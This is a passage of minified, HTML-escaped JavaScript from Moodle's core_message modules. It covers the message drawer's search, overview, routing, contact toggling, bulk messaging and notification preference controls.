list.append(html),html}))},loadMoreUsers=function(root,loggedInUserId,text,limit,offset){var loadedAll=!1;return function(root){var button=root.find(SELECTORS_LOAD_MORE_USERS);button.prop(&quot;disabled&quot;,!0),button.find(SELECTORS_BUTTON_TEXT).addClass(&quot;hidden&quot;),button.find(SELECTORS_LOADING_ICON_CONTAINER).removeClass(&quot;hidden&quot;)}(root),Repository.searchUsers(loggedInUserId,text,limit+1,offset).then((function(results){var contacts=results.contacts,noncontacts=results.noncontacts;return contacts.length&lt;=limit&amp;&amp;noncontacts.length&lt;=limit?(loadedAll=!0,{contacts:contacts,noncontacts:noncontacts}):{contacts:contacts.slice(0,limit),noncontacts:noncontacts.slice(0,limit)}})).then((function(results){var contactsCount=results.contacts.length,nonContactsCount=results.noncontacts.length;return contactsCount&amp;&amp;results.contacts.forEach((function(contact){contact.highlight=highlightSearch(contact.fullname,text)})),nonContactsCount&amp;&amp;results.noncontacts.forEach((function(contact){contact.highlight=highlightSearch(contact.fullname,text)})),$.when(!contactsCount||function(root,contacts){var container=getContactsContainer(root),frompanel=root.attr(&quot;data-in-panel&quot;),list=container.find(SELECTORS_LIST);return Templates.render(TEMPLATES_CONTACTS_LIST,{contacts:contacts,frompanel:frompanel}).then((function(html){return list.append(html),html}))}(root,results.contacts),!nonContactsCount||function(root,nonContacts){var container=getNonContactsContainer(root),frompanel=root.attr(&quot;data-in-panel&quot;),list=container.find(SELECTORS_LIST);return Templates.render(TEMPLATES_NON_CONTACTS_LIST,{noncontacts:nonContacts,frompanel:frompanel}).then((function(html){return list.append(html),html}))}(root,results.noncontacts)).then((function(){return{contactsCount:contactsCount,nonContactsCount:nonContactsCount}}))})).then((function(counts){return hideUsersLoadingIcon(root),loadedAll&amp;&amp;function(root){root.find(SELECTORS_LOAD_MORE_USERS).addClass(&quot;hidden&quot;)}(root),counts})).catch((function(error){throw hideUsersLoadingIcon(root),error}))},loadMoreMessages=function(root,loggedInUserId,text,limit,offset){var loadedAll=!1;return function(root){var button=root.find(SELECTORS_LOAD_MORE_MESSAGES);button.prop(&quot;disabled&quot;,!0),button.find(SELECTORS_BUTTON_TEXT).addClass(&quot;hidden&quot;),button.find(SELECTORS_LOADING_ICON_CONTAINER).removeClass(&quot;hidden&quot;)}(root),Repository.searchMessages(loggedInUserId,text,limit+1,offset).then((function(results){var messages=results.contacts;return messages.length&lt;=limit?(loadedAll=!0,messages):messages.slice(0,limit)})).then((function(messages){return messages.length?(messages.forEach((function(message){message.lastmessage=highlightSearch(message.lastmessage,text)})),renderMessages(root,messages).then((function(){return messages.length}))):messages.length})).then((function(count){return hideMessagesLoadingIcon(root),loadedAll&amp;&amp;function(root){root.find(SELECTORS_LOAD_MORE_MESSAGES).addClass(&quot;hidden&quot;)}(root),count})).catch((function(error){throw hideMessagesLoadingIcon(root),error}))},search=function(header,body,searchText,usersLimit,usersOffset,messagesLimit,messagesOffset){var loggedInUserId=getLoggedInUserId(body);return startLoading(header,body),clearAllSearchResults(body),$.when(loadMoreUsers(body,loggedInUserId,searchText,usersLimit,usersOffset),loadMoreMessages(body,loggedInUserId,searchText,messagesLimit,messagesOffset)).then((function(userCounts,messagesCount){var contactsCount=userCounts.contactsCount,nonContactsCount=userCounts.nonContactsCount;stopLoading(header,body),contactsCount||nonContactsCount||messagesCount?(contactsCount||nonContactsCount?(contactsCount||function(body){getSearchResultsContainer(body).find(SELECTORS_CONTACTS_CONTAINER).addClass(&quot;hidden&quot;)}(body),nonContactsCount||function(body){getSearchResultsContainer(body).find(SELECTORS_NON_CONTACTS_CONTAINER).addClass(&quot;hidden&quot;)}(body)):function(body){getSearchResultsContainer(body).find(SELECTORS_ALL_CONTACTS_CONTAINER).addClass(&quot;hidden&quot;)}(body),messagesCount||function(body){getSearchResultsContainer(body).find(SELECTORS_MESSAGES_CONTAINER).addClass(&quot;hidden&quot;)}(body)):function(body){var container=getSearchResultsContainer(body);container.find(SELECTORS_ALL_CONTACTS_CONTAINER).addClass(&quot;hidden&quot;),container.find(SELECTORS_MESSAGES_CONTAINER).addClass(&quot;hidden&quot;),container.find(SELECTORS_NO_RESULTS_CONTAINTER).removeClass(&quot;hidden&quot;)}(body)}))},registerEventListeners=function(header,body){var loggedInUserId=getLoggedInUserId(body),searchInput=getSearchInput(header),searchText=&quot;&quot;,messagesOffset=0,usersOffset=0,searchEventHandler=function(e,data){&quot;&quot;!==(searchText=searchInput.val().trim())&amp;&amp;search(header,body,searchText,3,usersOffset=0,50,messagesOffset=0).then((function(){searchInput.focus(),usersOffset+=3,messagesOffset+=50})).catch(Notification.exception),data.originalEvent.preventDefault()};CustomEvents.define(searchInput,[CustomEvents.events.enter]),CustomEvents.define(header,[CustomEvents.events.activate]),CustomEvents.define(body,[CustomEvents.events.activate]),searchInput.on(CustomEvents.events.enter,searchEventHandler),header.on(CustomEvents.events.activate,SELECTORS_SEARCH_ACTION,searchEventHandler),body.on(CustomEvents.events.activate,SELECTORS_LOAD_MORE_MESSAGES,(function(e,data){&quot;&quot;!==searchText&amp;&amp;loadMoreMessages(body,loggedInUserId,searchText,50,messagesOffset).then((function(){messagesOffset+=50})).catch(Notification.exception),data.originalEvent.preventDefault()})),body.on(CustomEvents.events.activate,SELECTORS_LOAD_MORE_USERS,(function(e,data){&quot;&quot;!==searchText&amp;&amp;loadMoreUsers(body,loggedInUserId,searchText,50,usersOffset).then((function(){usersOffset+=50})).catch(Notification.exception),data.originalEvent.preventDefault()})),header.on(CustomEvents.events.activate,SELECTORS_CANCEL_SEARCH_BUTTON,(function(){!function(header){getSearchInput(header).val(&quot;&quot;)}(header),function(body){getEmptyMessageContainer(body).removeClass(&quot;hidden&quot;)}(body),showSearchIcon(header),hideSearchResults(body),hideLoadingIcon(header),hideLoadingPlaceholder(body),usersOffset=0,messagesOffset=0})),PubSub.subscribe(Events.CONTACT_ADDED,(function(userId){!function(root,contact){var nonContactsContainer=getNonContactsContainer(root),nonContact=findContact(nonContactsContainer,contact.userid);if(nonContact.length){nonContact.remove();var contactsContainer=getContactsContainer(root);contactsContainer.removeClass(&quot;hidden&quot;),contactsContainer.find(SELECTORS_LIST).append(nonContact)}nonContactsContainer.find(SELECTORS_LIST).children().length||nonContactsContainer.addClass(&quot;hidden&quot;)}(body,userId)})),PubSub.subscribe(Events.CONTACT_REMOVED,(function(userId){!function(root,userId){var contactsContainer=getContactsContainer(root),contact=findContact(contactsContainer,userId);if(contact.length){contact.remove();var nonContactsContainer=getNonContactsContainer(root);nonContactsContainer.removeClass(&quot;hidden&quot;),nonContactsContainer.find(SELECTORS_LIST).append(contact)}contactsContainer.find(SELECTORS_LIST).children().length||contactsContainer.addClass(&quot;hidden&quot;)}(body,userId)})),PubSub.subscribe(Events.CONTACT_BLOCKED,(function(userId){!function(root,userId){var contact=findContact(root,userId);contact.length&amp;&amp;contact.find(SELECTORS_BLOCK_ICON_CONTAINER).removeClass(&quot;hidden&quot;)}(body,userId)})),PubSub.subscribe(Events.CONTACT_UNBLOCKED,(function(userId){!function(root,userId){var contact=findContact(root,userId);contact.length&amp;&amp;contact.find(SELECTORS_BLOCK_ICON_CONTAINER).addClass(&quot;hidden&quot;)}(body,userId)}))};return{show:function(namespace,header,body){return body.attr(&quot;data-init&quot;)||(registerEventListeners(header,body),body.attr(&quot;data-init&quot;,!0)),getSearchInput(header).focus(),$.Deferred().resolve().promise()},description:function(namespace,header){if(&quot;object&quot;!=typeof header)return Str.get_string(&quot;messagedrawerviewsearch&quot;,&quot;core_message&quot;);var searchText=getSearchInput(header).val().trim();return Str.get_string(&quot;messagedrawerviewsearch&quot;,&quot;core_message&quot;,searchText)}}}));
/**
 * Controls the overview page of the message drawer.
 *
 * @module     core_message/message_drawer_view_overview
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_overview&quot;,[&quot;jquery&quot;,&quot;core/key_codes&quot;,&quot;core/pubsub&quot;,&quot;core/str&quot;,&quot;core_message/message_drawer_router&quot;,&quot;core_message/message_drawer_routes&quot;,&quot;core_message/message_drawer_events&quot;,&quot;core_message/message_drawer_view_overview_section&quot;,&quot;core_message/message_repository&quot;,&quot;core_message/message_drawer_view_conversation_constants&quot;],(function($,KeyCodes,PubSub,Str,Router,Routes,MessageDrawerEvents,Section,MessageRepository,Constants){var SELECTORS_CONTACT_REQUEST_COUNT=&#039;[data-region=&quot;contact-request-count&quot;]&#039;,SELECTORS_FAVOURITES=&#039;[data-region=&quot;view-overview-favourites&quot;]&#039;,SELECTORS_GROUP_MESSAGES=&#039;[data-region=&quot;view-overview-group-messages&quot;]&#039;,SELECTORS_MESSAGES=&#039;[data-region=&quot;view-overview-messages&quot;]&#039;,SELECTORS_SEARCH_INPUT=&#039;[data-region=&quot;view-overview-search-input&quot;]&#039;,SELECTORS_SECTION_TOGGLE_BUTTON=&quot;[data-toggle]&quot;,OVERVIEW_SECTION_TYPES={PRIVATE:[Constants.CONVERSATION_TYPES.PRIVATE,Constants.CONVERSATION_TYPES.SELF],PUBLIC:[Constants.CONVERSATION_TYPES.PUBLIC],FAVOURITE:null},loadAllCountsPromise=null,filterCountsByTypes=function(counts,types,includeFavourites){var total=0;return types&amp;&amp;types.length&amp;&amp;(total=types.reduce((function(carry,type){return carry+counts.types[type]}),total)),includeFavourites&amp;&amp;(total+=counts.favourites),total},getSearchInput=function(header){return header.find(SELECTORS_SEARCH_INPUT)},decrementContactRequestCount=function(header){return function(){var countContainer=header.find(SELECTORS_CONTACT_REQUEST_COUNT),count=parseInt(countContainer.text(),10);(count=isNaN(count)?0:count-1)&lt;=0?countContainer.addClass(&quot;hidden&quot;):countContainer.text(count)}};return{show:function(namespace,header,body){header.attr(&quot;data-init&quot;)||(!function(namespace,header){var searchInput=getSearchInput(header),ignoredKeys=[KeyCodes.tab,KeyCodes.shift,KeyCodes.ctrl,KeyCodes.alt];searchInput.on(&quot;click&quot;,(function(){Router.go(namespace,Routes.VIEW_SEARCH)})),searchInput.on(&quot;keydown&quot;,(function(e){ignoredKeys.indexOf(e.keyCode)&lt;0&amp;&amp;&quot;Meta&quot;!=e.key&amp;&amp;Router.go(namespace,Routes.VIEW_SEARCH)})),PubSub.subscribe(MessageDrawerEvents.CONTACT_REQUEST_ACCEPTED,decrementContactRequestCount(header)),PubSub.subscribe(MessageDrawerEvents.CONTACT_REQUEST_DECLINED,decrementContactRequestCount(header))}(namespace,header),header.attr(&quot;data-init&quot;,!0));var fromPanel=header.attr(&quot;data-in-panel&quot;)?&quot;frompanel&quot;:null;getSearchInput(header).val(&quot;&quot;);var loggedInUserId=function(body){return body.attr(&quot;data-user-id&quot;)}(body),allCounts=function(loggedInUserId){return null===loadAllCountsPromise&amp;&amp;(loadAllCountsPromise=MessageRepository.getAllConversationCounts(loggedInUserId)),loadAllCountsPromise}(loggedInUserId),sections=[[body.find(SELECTORS_FAVOURITES),OVERVIEW_SECTION_TYPES.FAVOURITE,!0],[body.find(SELECTORS_GROUP_MESSAGES),OVERVIEW_SECTION_TYPES.PUBLIC,!1],[body.find(SELECTORS_MESSAGES),OVERVIEW_SECTION_TYPES.PRIVATE,!1]];return sections.forEach((function(args){var sectionRoot=args[0],sectionTypes=args[1],includeFavourites=args[2],totalCountPromise=allCounts.then((function(result){return filterCountsByTypes(result.total,sectionTypes,includeFavourites)})),unreadCountPromise=allCounts.then((function(result){return filterCountsByTypes(result.unread,sectionTypes,includeFavourites)}));Section.show(namespace,null,sectionRoot,null,sectionTypes,includeFavourites,totalCountPromise,unreadCountPromise,fromPanel)})),allCounts.then((function(result){return function(sections){sections.some((function(section){var sectionRoot=section[0];return Section.isVisible(sectionRoot)}))||(sections.sort((function(a,b){var aTotal=a[1],aUnread=a[2],bTotal=b[1],bUnread=b[2];return aUnread&gt;0&amp;&amp;0==bUnread?-1:0==aUnread&amp;&amp;bUnread&gt;0?1:aTotal&gt;0&amp;&amp;0==bTotal?-1:0==aTotal&amp;&amp;bTotal&gt;0?1:0})),sections[0][0].find(SELECTORS_SECTION_TOGGLE_BUTTON).click())}(sections.map((function(section){var sectionRoot=section[0],sectionTypes=section[1],includeFavourites=section[2];return[sectionRoot,filterCountsByTypes(result.total,sectionTypes,includeFavourites),filterCountsByTypes(result.unread,sectionTypes,includeFavourites)]})))}))},description:function(){return Str.get_string(&quot;messagedrawerviewoverview&quot;,&quot;core_message&quot;)}}}));
/**
 * Available routes for the message drawer.
 *
 * @module     core_message/message_drawer_routes
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_routes&quot;,[],(function(){return{VIEW_CONTACT:&quot;view-contact&quot;,VIEW_CONTACTS:&quot;view-contacts&quot;,VIEW_CONVERSATION:&quot;view-conversation&quot;,VIEW_GROUP_INFO:&quot;view-group-info&quot;,VIEW_OVERVIEW:&quot;view-overview&quot;,VIEW_SEARCH:&quot;view-search&quot;,VIEW_SETTINGS:&quot;view-settings&quot;}}));
/**
 * Module to add/remove contact using ajax.
 *
 * @module     core_message/toggle_contact_button
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/toggle_contact_button&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;],(function($,Ajax,Templates,Notification,CustomEvents){var getUserId=function(element){return element.attr(&quot;data-userid&quot;)},getCurrentUserId=function(element){return element.attr(&quot;data-currentuserid&quot;)},isLoading=function(element){return element.hasClass(&quot;loading&quot;)||element.attr(&quot;disabled&quot;)},sendRequest=function(element,request){return isLoading(element)?$.Deferred():(element.addClass(&quot;loading&quot;),element.attr(&quot;disabled&quot;,&quot;disabled&quot;),Ajax.call([request])[0].fail(Notification.exception).always((function(){element.removeClass(&quot;loading&quot;),element.removeAttr(&quot;disabled&quot;)})))};return{enhance:function(element){(element=$(element)).children(&quot;.loading-icon&quot;).length||Templates.render(&quot;core/loading&quot;,{}).done((function(html,js){element.append(html,js)})),CustomEvents.define(element,[CustomEvents.events.activate]),element.on(CustomEvents.events.activate,(function(e,data){!function(element){return&quot;1&quot;==element.attr(&quot;data-is-contact&quot;)}(element)?function(element){if(!isLoading(element)){var request={methodname:&quot;core_message_create_contact_request&quot;,args:{userid:getCurrentUserId(element),requesteduserid:getUserId(element)}};sendRequest(element,request).done((function(){!function(element){element.attr(&quot;data-is-contact&quot;,&quot;1&quot;)}(element),Templates.render(&quot;message/remove_contact_button&quot;,{}).done((function(html,js){Templates.replaceNodeContents(element,html,js)}))}))}}(element):function(element){if(!isLoading(element)){var request={methodname:&quot;core_message_delete_contacts&quot;,args:{userids:[getUserId(element)]}};sendRequest(element,request).done((function(){!function(element){element.attr(&quot;data-is-contact&quot;,&quot;0&quot;)}(element),Templates.render(&quot;message/add_contact_button&quot;,{}).done((function(html,js){Templates.replaceNodeContents(element,html,js)}))}))}}(element),e.preventDefault(),data.originalEvent.preventDefault()}))}}}));
/**
 * A simple router for the message drawer that allows navigating between
 * the &quot;pages&quot; in the drawer.
 *
 * This module will maintain a linear history of the unique pages access
 * to allow navigating back.
 *
 * @module     core_message/message_drawer_router
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_router&quot;,[&quot;jquery&quot;,&quot;core/pubsub&quot;,&quot;core/str&quot;,&quot;core_message/message_drawer_events&quot;,&quot;core/aria&quot;],(function($,PubSub,Str,MessageDrawerEvents,Aria){var routes={},history={},SELECTORS_CAN_RECEIVE_FOCUS=&#039;input:not([type=&quot;hidden&quot;]), a[href], button, textarea, select, [tabindex]&#039;,SELECTORS_ROUTES_BACK=&quot;[data-route-back]&quot;,changeRoute=function(namespace,newRoute){var newConfig,fromPanel=[].slice.call(arguments).some((function(arg){return&quot;frompanel&quot;==arg})),args=[].slice.call(arguments,2),renderPromise=$.Deferred().resolve().promise();if(Object.keys(routes[namespace]).forEach((function(route){var config=routes[namespace][route],isMatch=route===newRoute;isMatch&amp;&amp;(newConfig=config),config.parameters.forEach((function(element){&quot;object&quot;==typeof element&amp;&amp;null!==element&amp;&amp;(element.removeClass(&quot;previous&quot;),element.attr(&quot;data-from-panel&quot;,!1),isMatch?(fromPanel&amp;&amp;element.attr(&quot;data-from-panel&quot;,!0),element.removeClass(&quot;hidden&quot;),Aria.unhide(element.get())):element.attr(&quot;data-in-panel&quot;)&amp;&amp;&quot;view-search&quot;!=newRoute&amp;&amp;&quot;view-overview&quot;!=newRoute||(element.addClass(&quot;hidden&quot;),Aria.hide(element.get())))}))})),newConfig&amp;&amp;newConfig.onGo){renderPromise=newConfig.onGo.apply(void 0,newConfig.parameters.concat(args));for(var currentFocusElement=$(document.activeElement),hasFocus=!1,firstFocusable=null,i=1;i&lt;newConfig.parameters.length;i++){var element=newConfig.parameters[i];if(&quot;object&quot;==typeof element&amp;&amp;null!==element&amp;&amp;(firstFocusable||(firstFocusable=element),element.has(currentFocusElement).length)){hasFocus=!0;break}}hasFocus||firstFocusable.find(SELECTORS_CAN_RECEIVE_FOCUS).filter(&quot;:visible&quot;).first().focus()}var record={route:newRoute,params:args,renderPromise:renderPromise};return PubSub.publish(MessageDrawerEvents.ROUTE_CHANGED,record),record},go=function(namespace){var currentFocusElement=$(document.activeElement),record=changeRoute.apply(namespace,arguments),inHistory=!1;history[namespace]||(history[namespace]=[]),history[namespace]=history[namespace].reduce((function(carry,previous){return previous.route===record.route&amp;&amp;(inHistory=!0),inHistory||carry.push(previous),carry}),[]);var historylength=history[namespace].length,previousRecord=historylength?history[namespace][historylength-1]:null;if(previousRecord){for(var prevConfig=routes[namespace][previousRecord.route],elements=prevConfig.parameters,i=1;i&lt;elements.length;i++)&quot;object&quot;==typeof elements[i]&amp;&amp;null!==elements[i]&amp;&amp;elements[i].addClass(&quot;previous&quot;);previousRecord.focusElement=currentFocusElement,prevConfig.getDescription&amp;&amp;prevConfig.getDescription.apply(null,prevConfig.parameters.concat(previousRecord.params)).then((function(description){return Str.get_string(&quot;backto&quot;,&quot;core_message&quot;,description)})).then((function(label){return record.renderPromise.then((function(){routes[namespace][record.route].parameters.forEach((function(element){&quot;object&quot;==typeof element&amp;&amp;element&amp;&amp;element.find(SELECTORS_ROUTES_BACK).attr(&quot;aria-label&quot;,label)}))}))})).catch((function(){}))}return history[namespace].push(record),record};return{add:function(namespace,route,parameters,onGo,getDescription){routes[namespace]||(routes[namespace]=[]),routes[namespace][route]={parameters:parameters,onGo:onGo,getDescription:getDescription}},go:go,back:function(namespace){if(history[namespace].length){history[namespace].pop();var previous=history[namespace].pop();previous&amp;&amp;(go.apply(void 0,[namespace,previous.route].concat(previous.params)),window.setTimeout((function(){previous.focusElement.focus()}),50))}}}}));
define(&quot;core_message/message_send_bulk&quot;,[&quot;exports&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/templates&quot;,&quot;core/modal_events&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(_exports,_str,_modal_factory,_templates,_modal_events,_ajax,_notification){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Send bulk message to the given user ids.
   *
   * @module     core_message/message_send_bulk
   * @copyright  2019 Shamim Rezaie &lt;shamim@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.showModal=_exports.sendMessage=void 0,_modal_factory=_interopRequireDefault(_modal_factory),_templates=_interopRequireDefault(_templates),_modal_events=_interopRequireDefault(_modal_events),_ajax=_interopRequireDefault(_ajax),_notification=_interopRequireDefault(_notification);_exports.showModal=function(users){let callback=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:null;if(!users.length)return Promise.resolve();let titlePromise=null;return titlePromise=1==users.length?(0,_str.get_string)(&quot;sendbulkmessagesingle&quot;,&quot;core_message&quot;):(0,_str.get_string)(&quot;sendbulkmessage&quot;,&quot;core_message&quot;,users.length),_modal_factory.default.create({type:_modal_factory.default.types.SAVE_CANCEL,body:_templates.default.render(&quot;core_message/send_bulk_message&quot;,{}),title:titlePromise}).then((function(modal){return modal.setSaveButtonText(titlePromise),modal.getRoot().on(_modal_events.default.hidden,(function(){callback&amp;&amp;callback(),modal.getRoot().remove()})),modal.getRoot().on(_modal_events.default.save,(function(){let messageText=modal.getRoot().find(&quot;form textarea&quot;).val();sendMessage(messageText,users)})),modal.show(),modal}))};const sendMessage=(messageText,users)=&gt;{let messages=[];return users.forEach((user=&gt;{messages.push({touserid:user,text:messageText})})),_ajax.default.call([{methodname:&quot;core_message_send_instant_messages&quot;,args:{messages:messages}}])[0].then((function(messageIds){return 1==messageIds.length?(0,_str.get_string)(&quot;sendbulkmessagesentsingle&quot;,&quot;core_message&quot;):(0,_str.get_string)(&quot;sendbulkmessagesent&quot;,&quot;core_message&quot;,messageIds.length)})).then((function(msg){return _notification.default.addNotification({message:msg,type:&quot;success&quot;}),!0})).catch(_notification.default.exception)};_exports.sendMessage=sendMessage}));
/**
 * Events for the message drawer.
 *
 * @module     core_message/message_drawer_events
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_events&quot;,[],(function(){return{CREATE_CONVERSATION_WITH_USER:&quot;message-drawer-create-conversation-with-user&quot;,CONTACT_BLOCKED:&quot;message-drawer-contact-blocked&quot;,CONTACT_UNBLOCKED:&quot;message-drawer-contact-unblocked&quot;,CONTACT_ADDED:&quot;message-drawer-contact-added&quot;,CONTACT_REMOVED:&quot;message-drawer-contact-removed&quot;,CONTACT_REQUEST_ACCEPTED:&quot;message-drawer-contact-request-accepted&quot;,CONTACT_REQUEST_DECLINED:&quot;message-drawer-contact-request-declined&quot;,CONVERSATION_CREATED:&quot;message-drawer-conversation-created&quot;,CONVERSATION_NEW_LAST_MESSAGE:&quot;message-drawer-conversation-new-last-message&quot;,CONVERSATION_DELETED:&quot;message-drawer-conversation-deleted&quot;,CONVERSATION_READ:&quot;message-drawer-conversation-read&quot;,CONVERSATION_SET_FAVOURITE:&quot;message-drawer-conversation-set-favourite&quot;,CONVERSATION_SET_MUTED:&quot;message-drawer-conversation-set-muted&quot;,CONVERSATION_UNSET_FAVOURITE:&quot;message-drawer-conversation-unset-favourite&quot;,CONVERSATION_UNSET_MUTED:&quot;message-drawer-conversation-unset-muted&quot;,PREFERENCES_UPDATED:&quot;message-drawer-preferences-updated&quot;,ROUTE_CHANGED:&quot;message-drawer-route-change&quot;,SHOW:&quot;message-drawer-show&quot;,HIDE:&quot;message-drawer-hide&quot;,TOGGLE_VISIBILITY:&quot;message-drawer-toggle&quot;,SHOW_CONVERSATION:&quot;message-drawer-show-conversation&quot;,SHOW_SETTINGS:&quot;message-drawer-show-settings&quot;}}));
define(&quot;core_message/default_notification_preferences&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Controls the default settings for the list of notification types on the
   * notifications admin page
   *
   * @module     core_message/default_notification_preferences
   * @class      default_notification_preferences
   * @copyright  2021 Moodle
   * @author     Pau Ferrer Ocaña &lt;pau@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const selectors_provider=&quot;.defaultmessageoutputs .provider_enabled&quot;,selectors_lockSetting=&quot;.locked_message_setting&quot;,selectors_allSettings=&quot;.locked_message_setting, .enabled_message_setting&quot;;var _default={init:()=&gt;{(()=&gt;{const toggleLockSetting=lockedElement=&gt;{const isEnabled=lockedElement.checked||!1,enabledId=lockedElement.id.replace(&quot;_locked[&quot;,&quot;_enabled[&quot;);document.getElementById(enabledId).closest(&quot;div.custom-control&quot;).classList.toggle(&quot;dimmed_text&quot;,isEnabled)},toggleEnableProviderSettings=providerEnabledElement=&gt;{const isEnabled=providerEnabledElement.checked||!1;providerEnabledElement.closest(&quot;tr&quot;).querySelectorAll(selectors_allSettings).forEach((element=&gt;{element.toggleAttribute(&quot;disabled&quot;,!isEnabled)}))},container=document.querySelector(&quot;.preferences-container&quot;);container.querySelectorAll(selectors_provider).forEach((providerEnabledElement=&gt;{providerEnabledElement.checked||toggleEnableProviderSettings(providerEnabledElement),providerEnabledElement.addEventListener(&quot;change&quot;,(e=&gt;{toggleEnableProviderSettings(e.target)}))})),container.querySelectorAll(selectors_lockSetting).forEach((lockedElement=&gt;{lockedElement.checked&amp;&amp;toggleLockSetting(lockedElement),lockedElement.addEventListener(&quot;change&quot;,(e=&gt;{toggleLockSetting(e.target)}))}))})()}};return _exports.default=_default,_exports.default}));
/**
 * Controls the group info page of the message drawer.
 *
 * @module     core_message/message_drawer_view_group_info
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_group_info&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core_message/message_repository&quot;,&quot;core_message/message_drawer_lazy_load_list&quot;],(function($,Str,Templates,Repository,LazyLoadList){var SELECTORS_CONTENT_CONTAINER=&#039;[data-region=&quot;group-info-content-container&quot;]&#039;,TEMPLATES_CONTENT=&quot;core_message/message_drawer_view_group_info_body_content&quot;,TEMPLATES_MEMBERS_LIST=&quot;core_message/message_drawer_view_group_info_participants_list&quot;,getContentContainer=function(root){return root.find(SELECTORS_CONTENT_CONTAINER)},renderMembersCallback=function(contentContainer,members){return Templates.render(TEMPLATES_MEMBERS_LIST,{contacts:members}).then((function(html){return contentContainer.append(html),html}))};return{show:function(namespace,header,body,footer,conversation,loggedInUserId){var root=$(body);return getContentContainer(root).empty(),function(root,conversation,loggedInUserId){var placeholderCount=conversation.totalMemberCount&gt;50?50:conversation.totalMemberCount,placeholders=Array.apply(null,Array(placeholderCount)).map((function(){return!0})),templateContext={name:conversation.name,subname:conversation.subname,imageurl:conversation.imageUrl,placeholders:placeholders,loggedinuser:{id:loggedInUserId}};return Templates.render(TEMPLATES_CONTENT,templateContext).then((function(html){return getContentContainer(root).append(html),html}))}(root,conversation,loggedInUserId).then((function(){var listRoot=LazyLoadList.getRoot(root);LazyLoadList.show(listRoot,function(conversation,limit,offset){return function(root,userId){return Repository.getConversationMembers(conversation.id,userId,limit+1,offset).then((function(members){return members.length&gt;limit?members=members.slice(0,-1):LazyLoadList.setLoadedAll(root,!0),offset+=limit,members.filter((function(member){return member.id!=userId}))}))}}(conversation,50,0),renderMembersCallback)}))},description:function(root,conversation){return Str.get_string(&quot;messagedrawerviewgroupinfo&quot;,&quot;core_message&quot;,conversation.name)}}}));
/**
 * Represents the notification processor (e.g. email, popup, jabber)
 *
 * @module     core_message/notification_processor
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/notification_processor&quot;,[&quot;jquery&quot;],(function($){const SELECTORS_STATE_INPUTS=&quot;.preference-state input.notification_enabled&quot;,NotificationProcessor=function(element){this.root=$(element)};return NotificationProcessor.prototype.getName=function(){return this.root.attr(&quot;data-processor-name&quot;)},NotificationProcessor.prototype.isEnabled=function(){return this.root.find(SELECTORS_STATE_INPUTS).prop(&quot;checked&quot;)},NotificationProcessor}));
/**
 * Controls the message preference page.
 *
 * @module     core_message/message_preferences
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_preferences&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core_message/message_notification_preference&quot;,&quot;core/custom_interaction_events&quot;],(function($,Ajax,Notification,MessageNotificationPreference,CustomEvents){var SELECTORS_PREFERENCE=&quot;[data-state]&quot;,SELECTORS_PREFERENCES_CONTAINER=&#039;[data-region=&quot;preferences-container&quot;]&#039;,SELECTORS_CONTACTABLE_PRIVACY_CONTAINER=&#039;[data-region=&quot;privacy-setting-container&quot;]&#039;,MessagePreferences=function(element){this.root=$(element),this.userId=this.root.find(SELECTORS_PREFERENCES_CONTAINER).attr(&quot;data-user-id&quot;),this.registerEventListeners()};return MessagePreferences.prototype.preferencesDisabled=function(){return this.root.find(SELECTORS_PREFERENCES_CONTAINER).hasClass(&quot;disabled&quot;)},MessagePreferences.prototype.saveContactablePrivacySetting=function(){var container=this.root.find(SELECTORS_CONTACTABLE_PRIVACY_CONTAINER),value=$(&quot;input[type=&#039;radio&#039;]:checked&quot;).val();if(container.hasClass(&quot;loading&quot;))return $.Deferred().resolve();container.addClass(&quot;loading&quot;);var request={methodname:&quot;core_user_update_user_preferences&quot;,args:{userid:this.userId,preferences:[{type:container.attr(&quot;data-preference-key&quot;),value:value}]}};return Ajax.call([request])[0].fail(Notification.exception).always((function(){container.removeClass(&quot;loading&quot;)}))},MessagePreferences.prototype.registerEventListeners=function(){CustomEvents.define(this.root,[CustomEvents.events.activate]),this.root.on(&quot;change&quot;,function(e){if(&quot;message_blocknoncontacts&quot;==e.target.name)this.saveContactablePrivacySetting();else if(!this.preferencesDisabled()){var 